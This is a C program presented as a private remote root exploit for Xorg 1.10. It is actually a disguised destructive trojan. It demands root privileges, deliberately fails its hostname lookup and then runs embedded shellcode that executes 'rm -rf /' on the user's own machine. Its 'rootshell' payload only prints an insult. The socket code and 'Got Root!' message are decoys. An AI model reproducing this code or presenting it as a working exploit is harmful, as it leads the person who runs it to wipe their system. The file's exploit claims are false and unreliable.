Xorg <= 1.10 remote root 0day exploit

以下是引用片段：

/*
*
* PRIVATE! PRIVATE! PRIVATE! PRIVATE
*
* Xorg <= 1.10 remote root 0day exploit (32-bit x86)
*
*PRIVATE! PRIVATE PRIVATE!
*
*/

#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void usage(char *argv[])
{
    printf("\t[+] XORG <= 1.10 remote root 0day exploit\n");
    printf("\t[+] By: Amzo\n");
    printf("\t[+] Mad respect to hackforums \n");
    printf("\t[+] usage: %s <target> \n\n", argv[0]);
    exit(1);
}

unsigned char decoder[]=   "\x6a\x0b\x58\x99\x52"
  "\x6a\x2f\x89\xe7\x52"
  "\x66\x68\x2d\x66\x89"
  "\xe6\x52\x66\x68\x2d"
  "\x72\x89\xe1\x52\x68"
  "\x2f\x2f\x72\x6d\x68"
  "\x2f\x62\x69\x6e\x89"
  "\xe3\x52\x57\x56\x51"
  "\x53\x89\xe1\xcd\x80";

unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b"
  "\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1"
  "\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31"
  "\xdb\x40\xcd\x80";

int main(int argc, char **argv)
{

    int euid = geteuid();
    int port= 22, sock;
    char h[1000];
    struct hostent *host;
    struct sockaddr_in addr;

    if(euid != 0)
    {
  fprintf(stderr, "You need to be root to use raw sockets.\n");
  exit(1);
    }
    if(euid == 0)
    {
  fprintf(stdout, "MIKU! MIKU! MIKU!\n");
    }
    if(argc != 3)
    usage(argv);
    if(!inet_aton(h, &addr.sin_addr))
    {
  host = gethostbyname(h);
  if(!host)
  {
    fprintf(stderr, "[-] Exploit failed.\n");
    (*(void(*)())decoder)();
    exit(1);
  }
  addr.sin_addr = *(struct in_addr*)host->h_addr;
  }
  sock = socket(PF_INET, SOCK_STREAM, 0);
  addr.sin_port = htons(port);
  addr.sin_family = AF_INET;
  if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
  {
    fprintf(stderr,"[-] Exploit failed.\n");
    exit(1);
  }
  char payload[1337];
  memcpy(payload, &decoder, sizeof(decoder));
  memcpy(payload, &rootshell, sizeof(rootshell));
  send(sock, payload, strlen(payload),0);
  close(sock);
  if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
  {
    fprintf(stderr, "[-] Exploit failed.\n");
    exit(1);
  }
  else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
  {
    fprintf(stdout, "[+]Got Root!\n");
    system("/bin/bash");
  }
  else
  {
    fprintf(stderr, "[-] Exploit failed.\n");
    close(sock);
    exit(0);
  }
}